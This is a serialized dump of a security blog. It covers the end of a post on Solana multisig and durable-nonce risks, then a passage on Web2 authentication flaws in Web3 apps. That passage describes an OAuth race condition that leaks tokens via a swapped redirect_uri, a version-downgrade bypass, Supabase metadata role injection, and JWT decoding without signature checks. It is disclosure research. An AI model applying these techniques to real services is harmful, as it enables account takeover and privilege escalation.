.serialize();\n",[75825],{"type":24,"tag":135,"props":75826,"children":75827},{"__ignoreMap":7},[75828,75894,75910,75993],{"type":24,"tag":271,"props":75829,"children":75830},{"class":273,"line":274},[75831,75835,75839,75843,75848,75852,75856,75860,75864,75868,75872,75876,75881,75885,75890],{"type":24,"tag":271,"props":75832,"children":75833},{"style":278},[75834],{"type":29,"value":10738},{"type":24,"tag":271,"props":75836,"children":75837},{"style":630},[75838],{"type":29,"value":51036},{"type":24,"tag":271,"props":75840,"children":75841},{"style":624},[75842],{"type":29,"value":1712},{"type":24,"tag":271,"props":75844,"children":75845},{"style":288},[75846],{"type":29,"value":75847}," system_instruction",{"type":24,"tag":271,"props":75849,"children":75850},{"style":624},[75851],{"type":29,"value":11207},{"type":24,"tag":271,"props":75853,"children":75854},{"style":598},[75855],{"type":29,"value":39793},{"type":24,"tag":271,"props":75857,"children":75858},{"style":288},[75859],{"type":29,"value":606},{"type":24,"tag":271,"props":75861,"children":75862},{"style":624},[75863],{"type":29,"value":1137},{"type":24,"tag":271,"props":75865,"children":75866},{"style":630},[75867],{"type":29,"value":27162},{"type":24,"tag":271,"props":75869,"children":75870},{"style":288},[75871],{"type":29,"value":158},{"type":24,"tag":271,"props":75873,"children":75874},{"style":624},[75875],{"type":29,"value":1137},{"type":24,"tag":271,"props":75877,"children":75878},{"style":630},[75879],{"type":29,"value":75880},"ledger_base_pubkey",{"type":24,"tag":271,"props":75882,"children":75883},{"style":288},[75884],{"type":29,"value":158},{"type":24,"tag":271,"props":75886,"children":75887},{"style":477},[75888],{"type":29,"value":75889},"42",{"type":24,"tag":271,"props":75891,"children":75892},{"style":288},[75893],{"type":29,"value":1155},{"type":24,"tag":271,"props":75895,"children":75896},{"class":273,"line":284},[75897,75901,75906],{"type":24,"tag":271,"props":75898,"children":75899},{"style":278},[75900],{"type":29,"value":10738},{"type":24,"tag":271,"props":75902,"children":75903},{"style":630},[75904],{"type":29,"value":75905}," message",{"type":24,"tag":271,"props":75907,"children":75908},{"style":624},[75909],{"type":29,"value":43523},{"type":24,"tag":271,"props":75911,"children":75912},{"class":273,"line":294},[75913,75918,75922,75927,75931,75935,75939,75943,75947,75951,75955,75959,75964,75968,75972,75977,75981,75985,75989],{"type":24,"tag":271,"props":75914,"children":75915},{"style":3887},[75916],{"type":29,"value":75917}," Message",{"type":24,"tag":271,"props":75919,"children":75920},{"style":624},[75921],{"type":29,"value":11207},{"type":24,"tag":271,"props":75923,"children":75924},{"style":598},[75925],{"type":29,"value":75926},"new_with_nonce",{"type":24,"tag":271,"props":75928,"children":75929},{"style":288},[75930],{"type":29,"value":606},{"type":24,"tag":271,"props":75932,"children":75933},{"style":598},[75934],{"type":29,"value":11598},{"type":24,"tag":271,"props":75936,"children":75937},{"style":288},[75938],{"type":29,"value":4520},{"type":24,"tag":271,"props":75940,"children":75941},{"style":630},[75942],{"type":29,"value":51345},{"type":24,"tag":271,"props":75944,"children":75945},{"style":288},[75946],{"type":29,"value":8505},{"type":24,"tag":271,"props":75948,"children":75949},{"style":3887},[75950],{"type":29,"value":49685},{"type":24,"tag":271,"props":75952,"children":75953},{"style":288},[75954],{"type":29,"value":606},{"type":24,"tag":271,"props":75956,"children":75957},{"style":624},[75958],{"type":29,"value":1137},{"type":24,"tag":271,"props":75960,"children":75961},{"style":630},[75962],{"type":29,"value":75963},"evil_nonce_authority",{"type":24,"tag":271,"props":75965,"children":75966},{"style":288},[75967],{"type":29,"value":22874},{"type":24,"tag":271,"props":75969,"children":75970},{"style":624},[75971],{"type":29,"value":1137},{"type":24,"tag":271,"props":75973,"children":75974},{"style":630},[75975],{"type":29,"value":75976},"nonce_account",{"type":24,"tag":271,"props":75978,"children":75979},{"style":288},[75980],{"type":29,"value":158},{"type":24,"tag":271,"props":75982,"children":75983},{"style":624},[75984],{"type":29,"value":1137},{"type":24,"tag":271,"props":75986,"children":75987},{"style":630},[75988],{"type":29,"value":75963},{"type":24,"tag":271,"props":75990,"children":75991},{"style":288},[75992],{"type":29,"value":694},{"type":24,"tag":271,"props":75994,"children":75995},{"class":273,"line":303},[75996,76000,76005],{"type":24,"tag":271,"props":75997,"children":75998},{"style":624},[75999],{"type":29,"value":10899},{"type":24,"tag":271,"props":76001,"children":76002},{"style":598},[76003],{"type":29,"value":76004},"serialize",{"type":24,"tag":271,"props":76006,"children":76007},{"style":288},[76008],{"type":29,"value":4230},{"type":24,"tag":25,"props":76010,"children":76011},{},[76012,76014,76021],{"type":29,"value":76013},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":24,"tag":32,"props":76015,"children":76018},{"href":76016,"rel":76017},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[36],[76019],{"type":29,"value":76020},"logs the fee-payer here",{"type":29,"value":41},{"type":24,"tag":261,"props":76023,"children":76025},{"className":576,"code":76024,"language":578,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[76026],{"type":24,"tag":135,"props":76027,"children":76028},{"__ignoreMap":7},[76029,76088,76144],{"type":24,"tag":271,"props":76030,"children":76031},{"class":273,"line":274},[76032,76036,76041,76045,76049,76054,76058,76063,76067,76071,76075,76079,76084],{"type":24,"tag":271,"props":76033,"children":76034},{"style":278},[76035],{"type":29,"value":37360},{"type":24,"tag":271,"props":76037,"children":76038},{"style":598},[76039],{"type":29,"value":76040}," print_config_show_authority",{"type":24,"tag":271,"props":76042,"children":76043},{"style":288},[76044],{"type":29,"value":606},{"type":24,"tag":271,"props":76046,"children":76047},{"style":278},[76048],{"type":29,"value":611},{"type":24,"tag":271,"props":76050,"children":76051},{"style":288},[76052],{"type":29,"value":76053}," PrintConfig",{"type":24,"tag":271,"props":76055,"children":76056},{"style":624},[76057],{"type":29,"value":627},{"type":24,"tag":271,"props":76059,"children":76060},{"style":630},[76061],{"type":29,"value":76062}," print_config",{"type":24,"tag":271,"props":76064,"children":76065},{"style":288},[76066],{"type":29,"value":158},{"type":24,"tag":271,"props":76068,"children":76069},{"style":278},[76070],{"type":29,"value":611},{"type":24,"tag":271,"props":76072,"children":76073},{"style":288},[76074],{"type":29,"value":28544},{"type":24,"tag":271,"props":76076,"children":76077},{"style":624},[76078],{"type":29,"value":627},{"type":24,"tag":271,"props":76080,"children":76081},{"style":630},[76082],{"type":29,"value":76083}," authority",{"type":24,"tag":271,"props":76085,"children":76086},{"style":288},[76087],{"type":29,"value":919},{"type":24,"tag":271,"props":76089,"children":76090},{"class":273,"line":284},[76091,76095,76099,76103,76108,76112,76116,76121,76125,76130,76134,76139],{"type":24,"tag":271,"props":76092,"children":76093},{"style":749},[76094],{"type":29,"value":9640},{"type":24,"tag":271,"props":76096,"children":76097},{"style":630},[76098],{"type":29,"value":76062},{"type":24,"tag":271,"props":76100,"children":76101},{"style":288},[76102],{"type":29,"value":786},{"type":24,"tag":271,"props":76104,"children":76105},{"style":630},[76106],{"type":29,"value":76107},"expert_mode",{"type":24,"tag":271,"props":76109,"children":76110},{"style":624},[76111],{"type":29,"value":2675},{"type":24,"tag":271,"props":76113,"children":76114},{"style":624},[76115],{"type":29,"value":20564},{"type":24,"tag":271,"props":76117,"children":76118},{"style":598},[76119],{"type":29,"value":76120},"pubkeys_equal",{"type":24,"tag":271,"props":76122,"children":76123},{"style":288},[76124],{"type":29,"value":606},{"type":24,"tag":271,"props":76126,"children":76127},{"style":630},[76128],{"type":29,"value":76129},"print_config",{"type":24,"tag":271,"props":76131,"children":76132},{"style":288},[76133],{"type":29,"value":786},{"type":24,"tag":271,"props":76135,"children":76136},{"style":630},[76137],{"type":29,"value":76138},"signer_pubkey",{"type":24,"tag":271,"props":76140,"children":76141},{"style":288},[76142],{"type":29,"value":76143},", authority);\n",{"type":24,"tag":271,"props":76145,"children":76146},{"class":273,"line":294},[76147],{"type":24,"tag":271,"props":76148,"children":76149},{"style":288},[76150],{"type":29,"value":1171},{"type":24,"tag":25,"props":76152,"children":76153},{},[76154],{"type":29,"value":76155},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":24,"tag":25,"props":76157,"children":76158},{},[76159],{"type":29,"value":76160},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":24,"tag":25,"props":76162,"children":76163},{},[76164],{"type":29,"value":76165},"We can then use the following procedure.",{"type":24,"tag":3834,"props":76167,"children":76168},{},[76169,76174,76179,76184,76189],{"type":24,"tag":101,"props":76170,"children":76171},{},[76172],{"type":29,"value":76173},"Ensure all signers have no durable nonce accounts.",{"type":24,"tag":101,"props":76175,"children":76176},{},[76177],{"type":29,"value":76178},"The first signer signs and submits the transaction.",{"type":24,"tag":101,"props":76180,"children":76181},{},[76182],{"type":29,"value":76183},"Wait two minutes for all recent blockhashes to expire.",{"type":24,"tag":101,"props":76185,"children":76186},{},[76187],{"type":29,"value":76188},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":24,"tag":101,"props":76190,"children":76191},{},[76192],{"type":29,"value":76193},"Repeat steps 2 to 4 for each signer",{"type":24,"tag":62,"props":76195,"children":76197},{"id":76196},"beyond",[76198],{"type":29,"value":76199},"Beyond",{"type":24,"tag":25,"props":76201,"children":76202},{},[76203],{"type":29,"value":76204},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":24,"tag":25,"props":76206,"children":76207},{},[76208,76210,76217],{"type":29,"value":76209},"For example, pcaversaccio wrote a tool to ",{"type":24,"tag":32,"props":76211,"children":76214},{"href":76212,"rel":76213},"https://github.com/pcaversaccio/safe-tx-hashes-util",[36],[76215],{"type":29,"value":76216},"validate Safe transaction hashes",{"type":29,"value":76218},". As the space matures, we hope more open source tooling will come to light.",{"type":24,"tag":26113,"props":76220,"children":76222},{"className":76221,"dataFootnotes":7},[26116],[76223,76228],{"type":24,"tag":62,"props":76224,"children":76226},{"className":76225,"id":23178},[26121],[76227],{"type":29,"value":26124},{"type":24,"tag":3834,"props":76229,"children":76230},{},[76231],{"type":24,"tag":101,"props":76232,"children":76233},{"id":38041},[76234,76236,76244,76246],{"type":29,"value":76235},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":24,"tag":32,"props":76237,"children":76241},{"href":76238,"rel":76239,":style":76240},"https://twitter.com/PierreArowana",[36],"color: #B1D0EE; text-decoration: underline;",[76242],{"type":29,"value":76243},"@PierreArowana",{"type":29,"value":76245}," for pointing this out to me. ",{"type":24,"tag":32,"props":76247,"children":76249},{"href":38069,"ariaLabel":26227,"className":76248,"dataFootnoteBackref":7},[26229],[76250],{"type":29,"value":26232},{"type":24,"tag":10562,"props":76252,"children":76253},{},[76254],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":76256},[76257,76261,76262,76263],{"id":74453,"depth":284,"text":74456,"children":76258},[76259,76260],{"id":74464,"depth":294,"text":74467},{"id":74743,"depth":294,"text":74746},{"id":75464,"depth":284,"text":75467},{"id":76196,"depth":284,"text":76199},{"id":23178,"depth":284,"text":26124},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":76268,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":76269,"description":76270,"date":76271,"author":76272,"image":76273,"isFeatured":16,"onBlogPage":16,"tags":76275,"body":76276,"_type":10599,"_id":77974,"_source":10601,"_file":77975,"_stem":77976,"_extension":10604},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[38876,38875],{"src":76274},"/posts/web2-in-web3/title.jpg",[39811],{"type":21,"children":76277,"toc":77956},[76278,76283,76288,76293,76319,76325,76330,76336,76357,76363,76368,76375,76388,76418,76424,76468,76475,76481,76514,76535,76543,76562,76569,76574,76580,76585,76590,76615,76620,76626,76632,76653,76659,76686,76714,76721,76726,76731,77076,77080,77102,77108,77129,77143,77156,77161,77177,77182,77911,77916,77921,77926,77938,77942,77947,77952],{"type":24,"tag":25,"props":76279,"children":76280},{},[76281],{"type":29,"value":76282},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":24,"tag":25,"props":76284,"children":76285},{},[76286],{"type":29,"value":76287},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":24,"tag":25,"props":76289,"children":76290},{},[76291],{"type":29,"value":76292},"In this article, we will discuss three cases we discovered:",{"type":24,"tag":3834,"props":76294,"children":76295},{},[76296,76301,76314],{"type":24,"tag":101,"props":76297,"children":76298},{},[76299],{"type":29,"value":76300},"OAuth Logic Vulnerability on an Authentication Provider",{"type":24,"tag":101,"props":76302,"children":76303},{},[76304,76306,76312],{"type":29,"value":76305},"Supabase ",{"type":24,"tag":135,"props":76307,"children":76309},{"className":76308},[],[76310],{"type":29,"value":76311},"user_metadata",{"type":29,"value":76313}," misconfiguration",{"type":24,"tag":101,"props":76315,"children":76316},{},[76317],{"type":29,"value":76318},"OAuth abuse in localhost development environment",{"type":24,"tag":62,"props":76320,"children":76322},{"id":76321},"abusing-oauth-authentication-logic",[76323],{"type":29,"value":76324},"Abusing OAuth Authentication Logic",{"type":24,"tag":25,"props":76326,"children":76327},{},[76328],{"type":29,"value":76329},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":24,"tag":85,"props":76331,"children":76333},{"id":76332},"web3auth-introduction",[76334],{"type":29,"value":76335},"Web3Auth Introduction",{"type":24,"tag":25,"props":76337,"children":76338},{},[76339,76346,76348,76355],{"type":24,"tag":32,"props":76340,"children":76343},{"href":76341,"rel":76342},"https://web3auth.io/",[36],[76344],{"type":29,"value":76345},"Web3Auth",{"type":29,"value":76347}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":24,"tag":32,"props":76349,"children":76352},{"href":76350,"rel":76351},"https://oauth.net/2/",[36],[76353],{"type":29,"value":76354},"OAuth2",{"type":29,"value":76356}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":24,"tag":85,"props":76358,"children":76360},{"id":76359},"web3auth-authentication-flow",[76361],{"type":29,"value":76362},"Web3Auth Authentication flow",{"type":24,"tag":25,"props":76364,"children":76365},{},[76366],{"type":29,"value":76367},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":24,"tag":25,"props":76369,"children":76370},{},[76371],{"type":24,"tag":74,"props":76372,"children":76374},{"alt":76,"src":76373},"/posts/web2-in-web3/auth-flow.png",[],{"type":24,"tag":25,"props":76376,"children":76377},{},[76378,76380,76386],{"type":29,"value":76379},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":24,"tag":135,"props":76381,"children":76383},{"className":76382},[],[76384],{"type":29,"value":76385},"client_id",{"type":29,"value":76387},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":24,"tag":25,"props":76389,"children":76390},{},[76391,76393,76399,76401,76407,76409,76416],{"type":29,"value":76392},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":24,"tag":135,"props":76394,"children":76396},{"className":76395},[],[76397],{"type":29,"value":76398},"/start",{"type":29,"value":76400}," validates the ",{"type":24,"tag":135,"props":76402,"children":76404},{"className":76403},[],[76405],{"type":29,"value":76406},"redirect_url",{"type":29,"value":76408}," against the configured ",{"type":24,"tag":32,"props":76410,"children":76413},{"href":76411,"rel":76412},"https://web3auth.io/docs/dashboard-setup/whitelisting",[36],[76414],{"type":29,"value":76415},"whitelist",{"type":29,"value":76417}," to ensure it matches one of the allowed URLs.",{"type":24,"tag":85,"props":76419,"children":76421},{"id":76420},"in-transit-cryptography",[76422],{"type":29,"value":76423},"In-transit Cryptography",{"type":24,"tag":25,"props":76425,"children":76426},{},[76427,76429,76436,76438,76444,76446,76452,76454,76459,76461,76466],{"type":29,"value":76428},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":24,"tag":32,"props":76430,"children":76433},{"href":76431,"rel":76432},"https://en.wikipedia.org/wiki/Key_(cryptography)",[36],[76434],{"type":29,"value":76435},"cryptographic key",{"type":29,"value":76437}," is derived from the ",{"type":24,"tag":135,"props":76439,"children":76441},{"className":76440},[],[76442],{"type":29,"value":76443},"sessionId",{"type":29,"value":76445}," sent in the ",{"type":24,"tag":135,"props":76447,"children":76449},{"className":76448},[],[76450],{"type":29,"value":76451},"GET",{"type":29,"value":76453}," parameter to the ",{"type":24,"tag":135,"props":76455,"children":76457},{"className":76456},[],[76458],{"type":29,"value":76398},{"type":29,"value":76460},". Since the ",{"type":24,"tag":135,"props":76462,"children":76464},{"className":76463},[],[76465],{"type":29,"value":76443},{"type":29,"value":76467}," can be controlled, it allows us to send and receive data from the session server.",{"type":24,"tag":25,"props":76469,"children":76470},{},[76471],{"type":24,"tag":74,"props":76472,"children":76474},{"alt":76,"src":76473},"/posts/web2-in-web3/image-2.png",[],{"type":24,"tag":85,"props":76476,"children":76478},{"id":76477},"race-condition",[76479],{"type":29,"value":76480},"Race Condition",{"type":24,"tag":25,"props":76482,"children":76483},{},[76484,76486,76491,76493,76499,76501,76506,76508,76513],{"type":29,"value":76485},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":24,"tag":135,"props":76487,"children":76489},{"className":76488},[],[76490],{"type":29,"value":76398},{"type":29,"value":76492}," and later used in the ",{"type":24,"tag":135,"props":76494,"children":76496},{"className":76495},[],[76497],{"type":29,"value":76498},"/end",{"type":29,"value":76500}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":24,"tag":135,"props":76502,"children":76504},{"className":76503},[],[76505],{"type":29,"value":76398},{"type":29,"value":76507},") but before use (",{"type":24,"tag":135,"props":76509,"children":76511},{"className":76510},[],[76512],{"type":29,"value":76498},{"type":29,"value":28429},{"type":24,"tag":25,"props":76515,"children":76516},{},[76517,76519,76526,76528,76533],{"type":29,"value":76518},"To exploit this ",{"type":24,"tag":32,"props":76520,"children":76523},{"href":76521,"rel":76522},"https://portswigger.net/web-security/race-conditions",[36],[76524],{"type":29,"value":76525},"race condition",{"type":29,"value":76527},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":24,"tag":135,"props":76529,"children":76531},{"className":76530},[],[76532],{"type":29,"value":76443},{"type":29,"value":76534}," but with modified malicious parameters.",{"type":24,"tag":25,"props":76536,"children":76537},{},[76538],{"type":24,"tag":213,"props":76539,"children":76540},{},[76541],{"type":29,"value":76542},"What can be modified to achieve something impactful?",{"type":24,"tag":25,"props":76544,"children":76545},{},[76546,76548,76554,76556,76561],{"type":29,"value":76547},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":24,"tag":135,"props":76549,"children":76551},{"className":76550},[],[76552],{"type":29,"value":76553},"redirect_uri",{"type":29,"value":76555}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":24,"tag":135,"props":76557,"children":76559},{"className":76558},[],[76560],{"type":29,"value":76385},{"type":29,"value":41},{"type":24,"tag":25,"props":76563,"children":76564},{},[76565],{"type":24,"tag":74,"props":76566,"children":76568},{"alt":76,"src":76567},"/posts/web2-in-web3/image-3.png",[],{"type":24,"tag":25,"props":76570,"children":76571},{},[76572],{"type":29,"value":76573},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":24,"tag":85,"props":76575,"children":76577},{"id":76576},"patch-bypass",[76578],{"type":29,"value":76579},"Patch & Bypass",{"type":24,"tag":25,"props":76581,"children":76582},{},[76583],{"type":29,"value":76584},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":24,"tag":25,"props":76586,"children":76587},{},[76588],{"type":29,"value":76589},"To bypass the fix we were able to change the version in the URL:",{"type":24,"tag":97,"props":76591,"children":76592},{},[76593,76604],{"type":24,"tag":101,"props":76594,"children":76595},{},[76596,76602],{"type":24,"tag":135,"props":76597,"children":76599},{"className":76598},[],[76600],{"type":29,"value":76601},"https://auth.web3auth.io/v8/start",{"type":29,"value":76603}," (latest version)",{"type":24,"tag":101,"props":76605,"children":76606},{},[76607,76613],{"type":24,"tag":135,"props":76608,"children":76610},{"className":76609},[],[76611],{"type":29,"value":76612},"https://auth.web3auth.io/v6/start",{"type":29,"value":76614}," (bypass)",{"type":24,"tag":25,"props":76616,"children":76617},{},[76618],{"type":29,"value":76619},"We reported this issue, and it was addressed just as quickly!",{"type":24,"tag":62,"props":76621,"children":76623},{"id":76622},"supabase-metadata-manipulation",[76624],{"type":29,"value":76625},"Supabase metadata manipulation",{"type":24,"tag":85,"props":76627,"children":76629},{"id":76628},"supabase-authentication-flow",[76630],{"type":29,"value":76631},"Supabase Authentication flow",{"type":24,"tag":25,"props":76633,"children":76634},{},[76635,76642,76644,76651],{"type":24,"tag":32,"props":76636,"children":76639},{"href":76637,"rel":76638},"https://supabase.com/docs/guides/auth",[36],[76640],{"type":29,"value":76641},"Supabase",{"type":29,"value":76643}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":24,"tag":32,"props":76645,"children":76648},{"href":76646,"rel":76647},"https://jwt.io/",[36],[76649],{"type":29,"value":76650},"JWT",{"type":29,"value":76652}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":24,"tag":85,"props":76654,"children":76656},{"id":76655},"jwt-verification",[76657],{"type":29,"value":76658},"JWT verification",{"type":24,"tag":25,"props":76660,"children":76661},{},[76662,76664,76669,76670,76676,76678,76684],{"type":29,"value":76663},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":24,"tag":135,"props":76665,"children":76667},{"className":76666},[],[76668],{"type":29,"value":76311},{"type":29,"value":518},{"type":24,"tag":135,"props":76671,"children":76673},{"className":76672},[],[76674],{"type":29,"value":76675},"identity_data",{"type":29,"value":76677},", in a signup request by manipulating the input inside the ",{"type":24,"tag":135,"props":76679,"children":76681},{"className":76680},[],[76682],{"type":29,"value":76683},"\"data\": {}",{"type":29,"value":76685}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":24,"tag":25,"props":76687,"children":76688},{},[76689,76691,76697,76698,76704,76706,76712],{"type":29,"value":76690},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":24,"tag":135,"props":76692,"children":76694},{"className":76693},[],[76695],{"type":29,"value":76696},"\"role\": \"admin\"",{"type":29,"value":20834},{"type":24,"tag":135,"props":76699,"children":76701},{"className":76700},[],[76702],{"type":29,"value":76703},"\"email_verified\": true",{"type":29,"value":76705},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":24,"tag":135,"props":76707,"children":76709},{"className":76708},[],[76710],{"type":29,"value":76711},"\"test\": \"test\"",{"type":29,"value":76713},", enabling us to inject arbitrary data into the final JWT token.",{"type":24,"tag":25,"props":76715,"children":76716},{},[76717],{"type":24,"tag":74,"props":76718,"children":76720},{"alt":76,"src":76719},"/posts/web2-in-web3/image-4.png",[],{"type":24,"tag":25,"props":76722,"children":76723},{},[76724],{"type":29,"value":76725},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":24,"tag":25,"props":76727,"children":76728},{},[76729],{"type":29,"value":76730},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":24,"tag":261,"props":76732,"children":76734},{"className":39038,"code":76733,"language":39040,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[76735],{"type":24,"tag":135,"props":76736,"children":76737},{"__ignoreMap":7},[76738,76763,76775,76844,76893,76941,76986,77009,77046,77062,77069],{"type":24,"tag":271,"props":76739,"children":76740},{"class":273,"line":274},[76741,76745,76750,76754,76759],{"type":24,"tag":271,"props":76742,"children":76743},{"style":278},[76744],{"type":29,"value":39052},{"type":24,"tag":271,"props":76746,"children":76747},{"style":598},[76748],{"type":29,"value":76749}," parseSupaBase",{"type":24,"tag":271,"props":76751,"children":76752},{"style":288},[76753],{"type":29,"value":606},{"type":24,"tag":271,"props":76755,"children":76756},{"style":630},[76757],{"type":29,"value":76758},"token",{"type":24,"tag":271,"props":76760,"children":76761},{"style":288},[76762],{"type":29,"value":919},{"type":24,"tag":271,"props":76764,"children":76765},{"class":273,"line":284},[76766,76771],{"type":24,"tag":271,"props":76767,"children":76768},{"style":749},[76769],{"type":29,"value":76770}," try",{"type":24,"tag":271,"props":76772,"children":76773},{"style":288},[76774],{"type":29,"value":7145},{"type":24,"tag":271,"props":76776,"children":76777},{"class":273,"line":294},[76778,76782,76786,76791,76795,76800,76804,76809,76813,76817,76822,76826,76831,76835,76840],{"type":24,"tag":271,"props":76779,"children":76780},{"style":278},[76781],{"type":29,"value":1628},{"type":24,"tag":271,"props":76783,"children":76784},{"style":288},[76785],{"type":29,"value":30718},{"type":24,"tag":271,"props":76787,"children":76788},{"style":630},[76789],{"type":29,"value":76790},"header",{"type":24,"tag":271,"props":76792,"children":76793},{"style":288},[76794],{"type":29,"value":158},{"type":24,"tag":271,"props":76796,"children":76797},{"style":630},[76798],{"type":29,"value":76799},"payload",{"type":24,"tag":271,"props":76801,"children":76802},{"style":288},[76803],{"type":29,"value":158},{"type":24,"tag":271,"props":76805,"children":76806},{"style":630},[76807],{"type":29,"value":76808},"signature",{"type":24,"tag":271,"props":76810,"children":76811},{"style":288},[76812],{"type":29,"value":4530},{"type":24,"tag":271,"props":76814,"children":76815},{"style":624},[76816],{"type":29,"value":762},{"type":24,"tag":271,"props":76818,"children":76819},{"style":630},[76820],{"type":29,"value":76821}," token",{"type":24,"tag":271,"props":76823,"children":76824},{"style":288},[76825],{"type":29,"value":41},{"type":24,"tag":271,"props":76827,"children":76828},{"style":598},[76829],{"type":29,"value":76830},"split",{"type":24,"tag":271,"props":76832,"children":76833},{"style":288},[76834],{"type":29,"value":606},{"type":24,"tag":271,"props":76836,"children":76837},{"style":378},[76838],{"type":29,"value":76839},"'.'",{"type":24,"tag":271,"props":76841,"children":76842},{"style":288},[76843],{"type":29,"value":1155},{"type":24,"tag":271,"props":76845,"children":76846},{"class":273,"line":303},[76847,76851,76856,76860,76864,76868,76872,76876,76881,76885,76889],{"type":24,"tag":271,"props":76848,"children":76849},{"style":278},[76850],{"type":29,"value":1628},{"type":24,"tag":271,"props":76852,"children":76853},{"style":630},[76854],{"type":29,"value":76855}," decodedHeader",{"type":24,"tag":271,"props":76857,"children":76858},{"style":624},[76859],{"type":29,"value":1712},{"type":24,"tag":271,"props":76861,"children":76862},{"style":630},[76863],{"type":29,"value":45196},{"type":24,"tag":271,"props":76865,"children":76866},{"style":288},[76867],{"type":29,"value":41},{"type":24,"tag":271,"props":76869,"children":76870},{"style":598},[76871],{"type":29,"value":46879},{"type":24,"tag":271,"props":76873,"children":76874},{"style":288},[76875],{"type":29,"value":606},{"type":24,"tag":271,"props":76877,"children":76878},{"style":598},[76879],{"type":29,"value":76880},"atob",{"type":24,"tag":271,"props":76882,"children":76883},{"style":288},[76884],{"type":29,"value":606},{"type":24,"tag":271,"props":76886,"children":76887},{"style":630},[76888],{"type":29,"value":76790},{"type":24,"tag":271,"props":76890,"children":76891},{"style":288},[76892],{"type":29,"value":5811},{"type":24,"tag":271,"props":76894,"children":76895},{"class":273,"line":312},[76896,76900,76905,76909,76913,76917,76921,76925,76929,76933,76937],{"type":24,"tag":271,"props":76897,"children":76898},{"style":278},[76899],{"type":29,"value":1628},{"type":24,"tag":271,"props":76901,"children":76902},{"style":630},[76903],{"type":29,"value":76904}," 